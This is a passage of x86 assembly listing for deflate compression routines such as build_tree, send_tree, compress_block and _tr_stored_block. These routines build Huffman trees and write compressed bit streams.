5200(%ebx) jg .L08051D53 .L08051D91: jmp .L08051D4D .L08051D93: movb 5208(%edx,%ebx), %al movl -188(%ebp), %edi cmpb %al, 5208(%edi,%ebx) ja .L0805189E .L08051DAD: .p2align 3 .L08051DB0: incl %ecx movl 2908(%ebx,%ecx,4), %edx jmp .L080518E0 .L08051DBD: .p2align 3 .L08051DC0: movb 5208(%edx,%ebx), %al movl -88(%ebp), %esi cmpb %al, 5208(%esi,%ebx) ja .L080518BA .L08051DD7: jmp .L080518F4 .L08051DDC: movl -160(%ebp), %edx movb 5208(%edx,%ebx), %al cmpb %al, 5208(%edi,%ebx) ja .L080519D4 .L08051DF6: .p2align 3 .L08051DF8: incl %ecx movl 2908(%ebx,%ecx,4), %edi movl %edi, -160(%ebp) jmp .L080519D4 .L08051E0B: .p2align 2 .L08051E0C: movl -160(%ebp), %edx movb 5208(%edx,%ebx), %al movl -96(%ebp), %edi cmpb %al, 5208(%edi,%ebx) ja .L080519F0 .L08051E29: jmp .L08051A30 .L08051E2E: .p2align 3 .L08051E30: incl %eax jmp .L08051955 .L08051E36: movw -56(%ebp,%edx,2), %di movzwl %di, %ecx incl %edi movw %di, -56(%ebp,%edx,2) xorl %ebx, %ebx .p2align 3 .L08051E48: movl %ecx, %eax andl $1, %eax decl %edx orl %ebx, %eax shrl $1, %ecx testl %edx, %edx leal (%eax,%eax), %ebx jg .L08051E48 .L08051E59: shrl $1, %ebx movl -64(%ebp), %ecx movw %bx, (%ecx,%esi,4) incl %esi jmp .L08051C61 .size build_tree, .-build_tree # ---------------------- .local send_tree .type send_tree, @function send_tree: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $40, %esp movl %edx, -16(%ebp) movl %eax, %esi movzwl 2(%edx), %eax movl %eax, -28(%ebp) movl -28(%ebp), %ebx testl %ebx, %ebx movl $-1, %ecx movl $0, -32(%ebp) movl $7, %edx movl $4, %eax jne .L08051E9E .L08051E9A: movb $138, %dl movb $3, %al .L08051E9E: movl $0, -20(%ebp) movl 8(%ebp), %edi cmpl %edi, -20(%ebp) jg .L08052117 .L08051EB1: .p2align 2 .L08051EB4: movl -28(%ebp), %ebx movl %ebx, -24(%ebp) movl -16(%ebp), %edi movl -20(%ebp), %ebx movzwl 6(%edi,%ebx,4), %ebx incl -32(%ebp) cmpl %edx, -32(%ebp) movl %ebx, -28(%ebp) jge .L08051ED9 .L08051ED0: cmpl %ebx, -24(%ebp) je .L08052108 .L08051ED9: cmpl %eax, -32(%ebp) jge .L08051F8C .L08051EE2: movl 5820(%esi), %ecx jmp .L08051F58 .L08051EEA: .p2align 2 .L08051EEC: movl -24(%ebp), %eax movzwl 2684(%esi,%eax,4), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx movl 20(%esi), %eax orl %edx, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %edx movl $16, %ecx subl %edx, %ecx sarl %cl, %ebx incl 20(%esi) movw %bx, 5816(%esi) leal -16(%edx,%edi), %ecx .L08051F49: decl -32(%ebp) movl %ecx, 5820(%esi) je .L080520D6 .L08051F58: movl -24(%ebp), %eax movzwl 2686(%esi,%eax,4), %edi movl $16, %edx subl %edi, %edx cmpl %edx, %ecx jg .L08051EEC .L08051F72: movl -24(%ebp), %ebx movzwl 2684(%esi,%ebx,4), %edx sall %cl, %edx orw %dx, 5816(%esi) addl %edi, %ecx jmp .L08051F49 .L08051F8A: .p2align 2 .L08051F8C: movl -24(%ebp), %edi testl %edi, %edi je .L0805211F .L08051F97: cmpl %ecx, -24(%ebp) je .L08052432 .L08051FA0: movl -24(%ebp), %ecx movzwl 2686(%esi,%ecx,4), %edi movl $16, %eax subl %edi, %eax movl 5820(%esi), %ecx cmpl %eax, %ecx movl $16, -36(%ebp) jg .L08052287 .L08051FC7: movl -24(%ebp), %ebx movzwl 2684(%esi,%ebx,4), %edx sall %cl, %edx orw %dx, 5816(%esi) addl %edi, %ecx .L08051FDD: movl %ecx, 5820(%esi) decl -32(%ebp) .L08051FE6: movzwl 2750(%esi), %edi movl $16, %eax subl %edi, %eax cmpl %eax, %ecx movl $16, -40(%ebp) jle .L0805241A .L08052003: movzwl 2748(%esi), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx movl 20(%esi), %eax orl %edx, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, -40(%ebp) movb -40(%ebp), %cl sarl %cl, %ebx incl 20(%esi) movw %bx, 5816(%esi) leal -16(%eax,%edi), %edx .L0805205B: cmpl $14, %edx movl $16, %edi jle .L080523FE .L08052069: movl -32(%ebp), %eax subl $3, %eax movzwl %ax, %ebx movb %dl, %cl movl %ebx, %eax movl %ebx, -52(%ebp) sall %cl, %eax movw 5816(%esi), %bx movl %edx, 5820(%esi) orl %eax, %ebx movl 8(%esi), %edx movl 20(%esi), %eax movw %bx, 5816(%esi) movb %bl, (%eax,%edx) movl 20(%esi), %ebx movzbw 5817(%esi), %ax leal 1(%ebx), %ecx movl 8(%esi), %edx movl %ecx, 20(%esi) movb %al, 1(%ebx,%edx) movl 5820(%esi), %eax subl %eax, %edi movl %edi, %ecx sarl %cl, -52(%ebp) movl -52(%ebp), %edi incl 20(%esi) movw %di, 5816(%esi) subl $14, %eax .p2align 3 .L080520D0: movl %eax, 5820(%esi) .L080520D6: movl -28(%ebp), %eax testl %eax, %eax movl $0, -32(%ebp) movl -24(%ebp), %ecx movl $138, %edx je .L080523F4 .L080520F0: movl -28(%ebp), %edx cmpl %edx, -24(%ebp) je .L080523EC .L080520FC: movl $7, %edx movl $4, %eax .p2align 3 .L08052108: incl -20(%ebp) movl 8(%ebp), %edi cmpl %edi, -20(%ebp) jle .L08051EB4 .L08052117: addl $40, %esp popl %ebx popl %esi popl %edi leave ret .L0805211F: cmpl $10, -32(%ebp) jg .L080521D8 .L08052129: movzwl 2754(%esi), %edi movl $16, %edx subl %edi, %edx movl 5820(%esi), %ecx cmpl %edx, %ecx movl $16, -44(%ebp) jg .L0805236A .L0805214C: movzwl 2752(%esi), %ebx sall %cl, %ebx leal (%ecx,%edi), %edx orw %bx, 5816(%esi) cmpl $13, %edx movl $16, %edi jle .L080523D0 .L0805216D: movl -32(%ebp), %eax subl $3, %eax movzwl %ax, %ebx movb %dl, %cl movl %ebx, %eax movl %ebx, -52(%ebp) sall %cl, %eax movw 5816(%esi), %bx movl %edx, 5820(%esi) orl %eax, %ebx movl 8(%esi), %edx movl 20(%esi), %eax movw %bx, 5816(%esi) movb %bl, (%eax,%edx) movl 20(%esi), %ebx movzbw 5817(%esi), %ax leal 1(%ebx), %ecx movl 8(%esi), %edx movl %ecx, 20(%esi) movb %al, 1(%ebx,%edx) movl 5820(%esi), %eax subl %eax, %edi movl %edi, %ecx sarl %cl, -52(%ebp) movl -52(%ebp), %edi incl 20(%esi) subl $13, %eax movw %di, 5816(%esi) jmp .L080520D0 .L080521D8: movzwl 2758(%esi), %edi movl $16, %edx subl %edi, %edx movl 5820(%esi), %ecx cmpl %edx, %ecx movl $16, -48(%ebp) jg .L080522E8 .L080521FB: movzwl 2756(%esi), %ebx sall %cl, %ebx leal (%ecx,%edi), %edx orw %bx, 5816(%esi) cmpl $9, %edx movl $16, %edi jle .L0805234E .L0805221C: movl -32(%ebp), %eax subl $11, %eax movzwl %ax, %ebx movb %dl, %cl movl %ebx, %eax movl %ebx, -52(%ebp) sall %cl, %eax movw 5816(%esi), %bx movl %edx, 5820(%esi) orl %eax, %ebx movl 8(%esi), %edx movl 20(%esi), %eax movw %bx, 5816(%esi) movb %bl, (%eax,%edx) movl 20(%esi), %ebx movzbw 5817(%esi), %ax leal 1(%ebx), %ecx movl 8(%esi), %edx movl %ecx, 20(%esi) movb %al, 1(%ebx,%edx) movl 5820(%esi), %eax subl %eax, %edi movl %edi, %ecx sarl %cl, -52(%ebp) movl -52(%ebp), %edi incl 20(%esi) subl $9, %eax movw %di, 5816(%esi) jmp .L080520D0 .L08052287: movl -24(%ebp), %eax movzwl 2684(%esi,%eax,4), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx movl 20(%esi), %eax orl %edx, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %edx subl %edx, -36(%ebp) movb -36(%ebp), %cl sarl %cl, %ebx incl 20(%esi) leal -16(%edx,%edi), %ecx movw %bx, 5816(%esi) jmp .L08051FDD .L080522E8: movzwl 2756(%esi), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx orl %edx, %ecx movl 20(%esi), %eax movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, -48(%ebp) leal -16(%eax,%edi), %edx movb -48(%ebp), %cl sarl %cl, %ebx incl 20(%esi) cmpl $9, %edx movw %bx, 5816(%esi) movl $16, %edi jg .L0805221C .L0805234E: movl -32(%ebp), %ebx subl $11, %ebx movzwl %bx, %edi movb %dl, %cl sall %cl, %edi orw %di, 5816(%esi) leal 7(%edx), %eax jmp .L080520D0 .L0805236A: movzwl 2752(%esi), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx orl %edx, %ecx movl 20(%esi), %eax movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, -44(%ebp) leal -16(%eax,%edi), %edx movb -44(%ebp), %cl sarl %cl, %ebx incl 20(%esi) cmpl $13, %edx movw %bx, 5816(%esi) movl $16, %edi jg .L0805216D .L080523D0: movl -32(%ebp), %ebx subl $3, %ebx movzwl %bx, %edi movb %dl, %cl sall %cl, %edi orw %di, 5816(%esi) leal 3(%edx), %eax jmp .L080520D0 .L080523EC: movl $6, %edx .p2align 2 .L080523F4: movl $3, %eax jmp .L08052108 .L080523FE: movl -32(%ebp), %ebx subl $3, %ebx movzwl %bx, %edi movb %dl, %cl sall %cl, %edi orw %di, 5816(%esi) leal 2(%edx), %eax jmp .L080520D0 .L0805241A: movzwl 2748(%esi), %ebx sall %cl, %ebx orw %bx, 5816(%esi) leal (%ecx,%edi), %edx jmp .L0805205B .L08052432: movl 5820(%esi), %ecx jmp .L08051FE6 .size send_tree, .-send_tree # ---------------------- .L0805243D: .p2align 3 # ---------------------- .hidden _tr_flush_bits .globl _tr_flush_bits .type _tr_flush_bits, @function _tr_flush_bits: pushl %ebp movl %esp, %ebp pushl %ebx movl 8(%ebp), %ebx movl 5820(%ebx), %eax cmpl $16, %eax je .L08052484 .L08052452: cmpl $7, %eax jle .L08052480 .L08052457: movl 8(%ebx), %ecx movl 20(%ebx), %edx movw 5816(%ebx), %ax movb %al, (%edx,%ecx) movzbw 5817(%ebx), %cx incl 20(%ebx) movw %cx, 5816(%ebx) subl $8, 5820(%ebx) .L08052480: popl %ebx leave ret .L08052483: .p2align 2 .L08052484: movl 20(%ebx), %edx movw 5816(%ebx), %ax movl 8(%ebx), %ecx movb %al, (%edx,%ecx) movl 20(%ebx), %ecx leal 1(%ecx), %edx movl %edx, 20(%ebx) movzbw 5817(%ebx), %ax movl 8(%ebx), %edx movb %al, 1(%ecx,%edx) incl 20(%ebx) movw $0, 5816(%ebx) movl $0, 5820(%ebx) popl %ebx leave ret .size _tr_flush_bits, .-_tr_flush_bits # ---------------------- .L080524C5: .p2align 3 # ---------------------- .hidden _tr_align .globl _tr_align .type _tr_align, @function _tr_align: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx pushl %edi movl 8(%ebp), %esi movl 5820(%esi), %ecx cmpl $13, %ecx movl $16, %edi jle .L08052604 .L080524E6: movl $2, %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx orl %edx, %ecx movl 20(%esi), %eax movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, %edi movl %edi, %ecx subl $13, %eax sarl %cl, %ebx movl %eax, 5820(%esi) movl $16, %edi movzwl static_ltree+1026, %eax movw %bx, 5816(%esi) movl %eax, -16(%ebp) movl %edi, %ebx subl -16(%ebp), %ebx movl 5820(%esi), %ecx incl 20(%esi) cmpl %ebx, %ecx jle .L0805263D .L08052561: movzwl static_ltree+1024, %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx orl %edx, %ecx movl 20(%esi), %eax movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, %edi movl %edi, %ecx sarl %cl, %ebx movl -16(%ebp), %ecx leal -16(%eax,%ecx), %eax movl %eax, 5820(%esi) movl 5820(%esi), %eax incl 20(%esi) cmpl $16, %eax movw %bx, 5816(%esi) je .L08052668 .L080525CF: cmpl $7, %eax jle .L080525FD .L080525D4: movl 20(%esi), %ebx movw 5816(%esi), %dx movl 8(%esi), %edi movb %dl, (%ebx,%edi) movzbw 5817(%esi), %ax incl 20(%esi) movw %ax, 5816(%esi) subl $8, 5820(%esi) .L080525FD: popl %esi popl %ebx popl %esi popl %edi leave ret .L08052603: .p2align 2 .L08052604: movl $2, %edi sall %cl, %edi leal 3(%ecx), %eax orw %di, 5816(%esi) movl %eax, 5820(%esi) movl $16, %edi movzwl static_ltree+1026, %eax movl %eax, -16(%ebp) movl %edi, %ebx subl -16(%ebp), %ebx movl 5820(%esi), %ecx cmpl %ebx, %ecx jg .L08052561 .L0805263D: movl -16(%ebp), %edi leal (%ecx,%edi), %eax movzwl static_ltree+1024, %ebx movl %eax, 5820(%esi) sall %cl, %ebx movl 5820(%esi), %eax orw %bx, 5816(%esi) cmpl $16, %eax jne .L080525CF .L08052668: movl 20(%esi), %edx movw 5816(%esi), %cx movl 8(%esi), %ebx movb %cl, (%edx,%ebx) movl 20(%esi), %ecx movzbw 5817(%esi), %ax movl 8(%esi), %edx leal 1(%ecx), %edi movl %edi, 20(%esi) movb %al, 1(%ecx,%edx) incl 20(%esi) movw $0, 5816(%esi) movl $0, 5820(%esi) popl %esi popl %ebx popl %esi popl %edi leave ret .size _tr_align, .-_tr_align # ---------------------- .local compress_block .type compress_block, @function compress_block: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $72, %esp movl %edx, -16(%ebp) movl 5792(%eax), %edx testl %edx, %edx movl %eax, %esi movl $0, -24(%ebp) je .L08052A90 .L080526CF: movl 5820(%eax), %ecx jmp .L0805276A .L080526DA: .p2align 2 .L080526DC: movl -16(%ebp), %eax movzwl 2(%eax,%ebx,4), %edi movl $16, %eax subl %edi, %eax cmpl %eax, %ecx movl $16, -32(%ebp) jle .L080529E8 .L080526FA: movl -16(%ebp), %eax movzwl (%eax,%ebx,4), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx movl 20(%esi), %eax orl %edx, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movl %ebx, -36(%ebp) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %edx subl %edx, -32(%ebp) movb -32(%ebp), %cl sarl %cl, %ebx incl 20(%esi) movw %bx, 5816(%esi) leal -16(%edx,%edi), %ecx .L08052755: movl %ecx, 5820(%esi) .L0805275B: movl 5792(%esi), %edx .L08052761: cmpl -24(%ebp), %edx jbe .L08052A96 .L0805276A: movl -24(%ebp), %ebx movl 5796(%esi), %edi movzwl (%edi,%ebx,2), %eax movl %eax, -20(%ebp) movl 5784(%esi), %edi movl -20(%ebp), %eax movzbl (%ebx,%edi), %ebx incl -24(%ebp) testl %eax, %eax je .L080526DC .L08052792: movl -16(%ebp), %eax movzbl _length_code(%ebx), %edi movzwl 1030(%eax,%edi,4), %edx movl $16, %eax subl %edx, %eax cmpl %eax, %ecx movl %edx, -40(%ebp) movl $16, -44(%ebp) jle .L08052A4C .L080527BD: movl -16(%ebp), %eax movzwl 1028(%eax,%edi,4), %edx movl %edx, -48(%ebp) sall %cl, %edx movw 5816(%esi), %cx movl 20(%esi), %eax orl %edx, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, -44(%ebp) movb -44(%ebp), %cl sarl %cl, -48(%ebp) movl -48(%ebp), %ecx movl -40(%ebp), %edx movw %cx, 5816(%esi) incl 20(%esi) leal -16(%eax,%edx), %ecx .L08052821: movl extra_lbits(,%edi,4), %eax testl %eax, %eax movl %eax, -28(%ebp) je .L08052A40 .L08052833: subl base_length(,%edi,4), %ebx movl $16, %edi subl -28(%ebp), %edi cmpl %edi, %ecx movl $16, -52(%ebp) jle .L08052A68 .L08052851: movzwl %bx, %edi movl %edi, %eax movl %ecx, 5820(%esi) sall %cl, %eax movw 5816(%esi), %cx movl 20(%esi), %edx orl %eax, %ecx movl 8(%esi), %ebx movw %cx, 5816(%esi) movb %cl, (%edx,%ebx) movl 20(%esi), %edx leal 1(%edx), %ecx movl 8(%esi), %ebx movzbw 5817(%esi), %ax movl %ecx, 20(%esi) movb %al, 1(%edx,%ebx) movl 5820(%esi), %edx subl %edx, -52(%ebp) movb -52(%ebp), %cl sarl %cl, %edi movl -28(%ebp), %ebx incl 20(%esi) movw %di, 5816(%esi) leal -16(%edx,%ebx), %ecx .L080528AE: movl %ecx, 5820(%esi) .L080528B4: movl -20(%ebp), %edi decl %edi cmpl $255, %edi movl %edi, -80(%ebp) ja .L08052A2C .L080528C7: movzbl _dist_code(%edi), %edi .L080528CE: movl 8(%ebp), %ebx movzwl 2(%ebx,%edi,4), %eax movl %eax, -56(%ebp) movl $16, %edx subl -56(%ebp), %edx cmpl %edx, %ecx movl $16, -60(%ebp) jle .L08052A14 .L080528F0: movl 8(%ebp), %edx movzwl (%edx,%edi,4), %ebx movl %ebx, %eax sall %cl, %eax movw 5816(%esi), %cx movl %ebx, -64(%ebp) movl 20(%esi), %edx orl %eax, %ecx movl 8(%esi), %ebx movw %cx, 5816(%esi) movb %cl, (%edx,%ebx) movl 20(%esi), %edx leal 1(%edx), %ecx movzbw 5817(%esi), %ax movl 8(%esi), %ebx movl %ecx, 20(%esi) movb %al, 1(%edx,%ebx) movl 5820(%esi), %eax subl %eax, -60(%ebp) movb -60(%ebp), %cl sarl %cl, -64(%ebp) movl -64(%ebp), %ecx movl -56(%ebp), %edx movw %cx, 5816(%esi) incl 20(%esi) leal -16(%eax,%edx), %ecx .L08052952: movl extra_dbits(,%edi,4), %eax testl %eax, %eax movl %eax, -84(%ebp) je .L08052A08 .L08052964: movl -80(%ebp), %ebx subl base_dist(,%edi,4), %ebx movl $16, %edi subl -84(%ebp), %edi cmpl %edi, %ecx movl $16, -68(%ebp) jle .L08052A7C .L08052985: movzwl %bx, %edi movl %edi, %eax movl %ecx, 5820(%esi) sall %cl, %eax movw 5816(%esi), %cx movl 20(%esi), %ebx orl %eax, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%ebx,%edx) movl 20(%esi), %ebx leal 1(%ebx), %ecx movl 8(%esi), %edx movzbw 5817(%esi), %ax movl %ecx, 20(%esi) movb %al, 1(%ebx,%edx) movl 5820(%esi), %ebx subl %ebx, -68(%ebp) movb -68(%ebp), %cl movl -84(%ebp), %edx sarl %cl, %edi incl 20(%esi) leal -16(%ebx,%edx), %ecx movw %di, 5816(%esi) jmp .L08052755 .L080529E7: .p2align 3 .L080529E8: movl -16(%ebp), %eax movzwl (%eax,%ebx,4), %ebx sall %cl, %ebx orw %bx, 5816(%esi) addl %edi, %ecx movl %ecx, 5820(%esi) jmp .L08052761 .L08052A05: .p2align 3 .L08052A08: movl %ecx, 5820(%esi) jmp .L0805275B .L08052A13: .p2align 2 .L08052A14: movl 8(%ebp), %ebx movzwl (%ebx,%edi,4), %eax sall %cl, %eax orw %ax, 5816(%esi) addl -56(%ebp), %ecx jmp .L08052952 .L08052A2C: movl -80(%ebp), %ebx shrl $7, %ebx movzbl _dist_code+256(%ebx), %edi jmp .L080528CE .L08052A3E: .p2align 3 .L08052A40: movl %ecx, 5820(%esi) jmp .L080528B4 .L08052A4B: .p2align 2 .L08052A4C: movl -16(%ebp), %edx movzwl 1028(%edx,%edi,4), %eax sall %cl, %eax orw %ax, 5816(%esi) addl -40(%ebp), %ecx jmp .L08052821 .L08052A68: movzwl %bx, %edi sall %cl, %edi orw %di, 5816(%esi) addl -28(%ebp), %ecx jmp .L080528AE .L08052A7C: movzwl %bx, %edi sall %cl, %edi orw %di, 5816(%esi) addl -84(%ebp), %ecx jmp .L08052755 .L08052A90: movl 5820(%eax), %ecx .L08052A96: movl -16(%ebp), %eax movzwl 1026(%eax), %ebx movl $16, %edx subl %ebx, %edx cmpl %edx, %ecx movl %ebx, -72(%ebp) movl $16, -76(%ebp) jle .L08052B24 .L08052AB5: movl -16(%ebp), %ebx movzwl 1024(%ebx), %edi movl %edi, %eax sall %cl, %eax movw 5816(%esi), %cx movl 20(%esi), %edx movl 8(%esi), %ebx orl %eax, %ecx movw %cx, 5816(%esi) movb %cl, (%edx,%ebx) movl 20(%esi), %edx movzbw 5817(%esi), %ax movl 8(%esi), %ebx leal 1(%edx), %ecx movl %ecx, 20(%esi) movb %al, 1(%edx,%ebx) movl 5820(%esi), %edx subl %edx, -76(%ebp) movb -76(%ebp), %cl sarl %cl, %edi movl -72(%ebp), %ecx leal -16(%edx,%ecx), %eax incl 20(%esi) movw %di, 5816(%esi) movl %eax, 5820(%esi) addl $72, %esp popl %ebx popl %esi popl %edi leave ret .L08052B21: .p2align 2 .L08052B24: movl -16(%ebp), %eax movzwl 1024(%eax), %edx movl -72(%ebp), %edi leal (%ecx,%edi), %eax sall %cl, %edx orw %dx, 5816(%esi) movl %eax, 5820(%esi) addl $72, %esp popl %ebx popl %esi popl %edi leave ret .size compress_block, .-compress_block # ---------------------- .L08052B4B: .p2align 2 # ---------------------- .hidden _tr_stored_block .globl _tr_stored_block .type _tr_stored_block, @function _tr_stored_block: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx movl 8(%ebp), %esi movl 5820(%esi), %ecx cmpl $13, %ecx movl 20(%ebp), %eax movl $16, %edi jle .L08052CA6 .L08052B6C: movzwl %ax, %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%esi), %cx movl 20(%esi), %eax orl %edx, %ecx movl 8(%esi), %edx movw %cx, 5816(%esi) movb %cl, (%eax,%edx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl %edx, 20(%esi) movzbw 5817(%esi), %ax movl 8(%esi), %edx movb %al, 1(%ecx,%edx) movl 5820(%esi), %eax subl %eax, %edi movl %edi, %ecx incl 20(%esi) sarl %cl, %ebx subl $13, %eax .L08052BB6: movl %eax, 5820(%esi) movl 5820(%esi), %eax cmpl $8, %eax movl 12(%ebp), %edi jle .L08052C89 .L08052BCE: movl 20(%esi), %eax movl 8(%esi), %ecx movw %bx, 5816(%esi) movb %bl, (%eax,%ecx) movl 20(%esi), %ecx leal 1(%ecx), %edx movl 8(%esi), %ebx movzbw 5817(%esi), %ax movl %edx, 20(%esi) movb %al, 1(%ecx,%ebx) .L08052BF6: incl 20(%esi) .L08052BF9: movl 20(%esi), %edx movl 8(%esi), %ebx movb 16(%ebp), %al movw $0, 5816(%esi) movl $0, 5820(%esi) movb %al, (%edx,%ebx) movl 20(%esi), %edx movl 16(%ebp), %eax movl 8(%esi), %ebx leal 1(%edx), %ecx shrw $8, %ax movl %ecx, 20(%esi) movb %al, 1(%edx,%ebx) movl 20(%esi), %edx movb 16(%ebp), %al leal 1(%edx), %ecx movl 8(%esi), %ebx notl %eax movl %ecx, 20(%esi) movb %al, 1(%edx,%ebx) movl 16(%ebp), %eax movl 20(%esi), %edx notl %eax leal 1(%edx), %ecx movl 8(%esi), %ebx shrw $8, %ax movl %ecx, 20(%esi) movb %al, 1(%edx,%ebx) movl 20(%esi), %ebx incl %ebx movl 16(%ebp), %ecx movl %ebx, 20(%esi) jmp .L08052C7E .L08052C69: .p2align 2 .L08052C6C: movb (%edi), %al movl 8(%esi), %edx movb %al, (%ebx,%edx) movl 20(%esi), %edx incl %edx incl %edi movl %edx, %ebx movl %edx, 20(%esi) .L08052C7E: decl %ecx cmpl $-1, %ecx jne .L08052C6C .L08052C84: popl %ebx popl %esi popl %edi leave ret .L08052C89: testl %eax, %eax jle .L08052BF9 .L08052C91: movl 8(%esi), %edx movl 20(%esi), %ecx movw %bx, 5816(%esi) movb %bl, (%ecx,%edx) jmp .L08052BF6 .L08052CA6: movzwl %ax, %edi sall %cl, %edi movw 5816(%esi), %bx orl %edi, %ebx leal 3(%ecx), %eax jmp .L08052BB6 .size _tr_stored_block, .-_tr_stored_block # ---------------------- .hidden _tr_flush_block .globl _tr_flush_block .type _tr_flush_block, @function _tr_flush_block: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $76, %esp movl 8(%ebp), %edi movl 132(%edi), %eax testl %eax, %eax movl $0, -16(%ebp) jle .L0805318E .L08052CDD: movl (%edi), %ecx cmpl $2, 44(%ecx) je .L0805315E .L08052CE9: leal 2840(%edi), %edx movl %edi, %eax call build_tree .L08052CF6: leal 2852(%edi), %edx movl %edi, %eax call build_tree .L08052D03: leal 148(%edi), %ebx movl 2844(%edi), %edx movl %edx, -24(%ebp) movl %ebx, -20(%ebp) movl $-1, -28(%ebp) movzwl 2(%ebx), %ecx xorl %edx, %edx testl %ecx, %ecx movl $7, -32(%ebp) movl $4, -72(%ebp) je .L0805308B .L08052D38: movl -24(%ebp), %eax movl -20(%ebp), %esi movw $65535, 6(%esi,%eax,4) xorl %ebx, %ebx cmpl -24(%ebp), %ebx jg .L08052D92 .L08052D4C: incl %edx movl -20(%ebp), %esi cmpl -32(%ebp), %edx movl %ecx, %eax movzwl 6(%esi,%ebx,4), %ecx jge .L08052D60 .L08052D5C: cmpl %ecx, %eax je .L08052D8C .L08052D60: cmpl -72(%ebp), %edx jge .L080530BA .L08052D69: addw %dx, 2684(%edi,%eax,4) .L08052D71: xorl %edx, %edx testl %ecx, %ecx movl %eax, -28(%ebp) jne .L0805309E .L08052D7E: movl $138, -32(%ebp) .L08052D85: movl $3, -72(%ebp) .L08052D8C: incl %ebx .L08052D8D: cmpl -24(%ebp), %ebx jle .L08052D4C .L08052D92: leal 2440(%edi), %ebx movl 2856(%edi), %ecx movl %ebx, -36(%ebp) movl %ecx, -40(%ebp) movl $-1, -44(%ebp) movzwl 2(%ebx), %ecx xorl %edx, %edx testl %ecx, %ecx movl $7, -48(%ebp) movl $4, -72(%ebp) jne .L08052DD1 .L08052DC3: movl $138, -48(%ebp) movl $3, -72(%ebp) .L08052DD1: movl -40(%ebp), %esi movl -36(%ebp), %eax movw $65535, 6(%eax,%esi,4) xorl %ebx, %ebx cmpl -40(%ebp), %ebx jg .L08052E2B .L08052DE5: incl %edx movl -36(%ebp), %esi cmpl -48(%ebp), %edx movl %ecx, %eax movzwl 6(%esi,%ebx,4), %ecx jge .L08052DF9 .L08052DF5: cmpl %ecx, %eax je .L08052E25 .L08052DF9: cmpl -72(%ebp), %edx jge .L08053100 .L08052E02: addw %dx, 2684(%edi,%eax,4) .L08052E0A: xorl %edx, %edx testl %ecx, %ecx movl %eax, -44(%ebp) jne .L080530E8 .L08052E17: movl $138, -48(%ebp) .L08052E1E: movl $3, -72(%ebp) .L08052E25: incl %ebx .L08052E26: cmpl -40(%ebp), %ebx jle .L08052DE5 .L08052E2B: leal 2864(%edi), %edx movl %edi, %eax call build_tree .L08052E38: movl $18, %ecx .L08052E3D: movzbl bl_order(%ecx), %edx cmpw $0, 2686(%edi,%edx,4) jne .L08052E55 .L08052E4F: decl %ecx cmpl $2, %ecx jg .L08052E3D .L08052E55: leal (%ecx,%ecx,2), %ebx addl 5800(%edi), %ebx movl %ecx, -16(%ebp) movl 5804(%edi), %ecx addl $10, %ecx leal 27(%ebx), %edx shrl $3, %edx shrl $3, %ecx leal 17(%ebx), %eax cmpl %edx, %ecx movl %eax, 5800(%edi) ja .L08052E82 .L08052E80: movl %ecx, %edx .L08052E82: movl 16(%ebp), %esi addl $4, %esi cmpl %edx, %esi ja .L08053199 .L08052E90: movl 12(%ebp), %ebx testl %ebx, %ebx je .L08053199 .L08052E9B: movl 5820(%edi), %ecx cmpl $13, 